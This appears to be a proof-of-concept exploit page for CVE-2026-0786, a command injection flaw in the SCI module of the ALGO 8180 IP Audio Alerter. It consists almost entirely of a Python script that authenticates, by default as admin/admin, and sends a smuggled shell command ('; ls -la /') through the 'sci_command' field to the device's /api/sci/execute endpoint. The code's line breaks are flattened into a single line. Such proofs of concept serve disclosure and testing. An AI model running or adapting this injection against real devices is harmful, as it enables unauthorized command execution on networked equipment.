CVE-2026-0786 ALGO 8180 IP Audio Alerter SCI命令注入漏洞

import requests import base64 # CVE-2026-0786 PoC - ALGO 8180 SCI Command Injection # Target: ALGO 8180 IP Audio Alerter # Authentication required (low privilege) TARGET = "http://target-ip:8080" USERNAME = "admin" PASSWORD = "admin" def exploit(target, username, password): # Login to obtain session session = requests.Session() login_data = {'username': username, 'password': password} resp = session.post(f"{target}/api/login", data=login_data) if resp.status_code != 200: print("[-] Authentication failed") return None print("[+] Authentication successful") # Command injection payload - list files cmd = "; ls -la /" payload = { 'sci_command': cmd, 'module': 'system' } # Send malicious request to SCI module resp = session.post(f"{target}/api/sci/execute", data=payload) if resp.status_code == 200: print("[+] Command executed successfully") print(resp.text) else: print("[-] Exploitation failed") if __name__ == "__main__": exploit(TARGET, USERNAME, PASSWORD)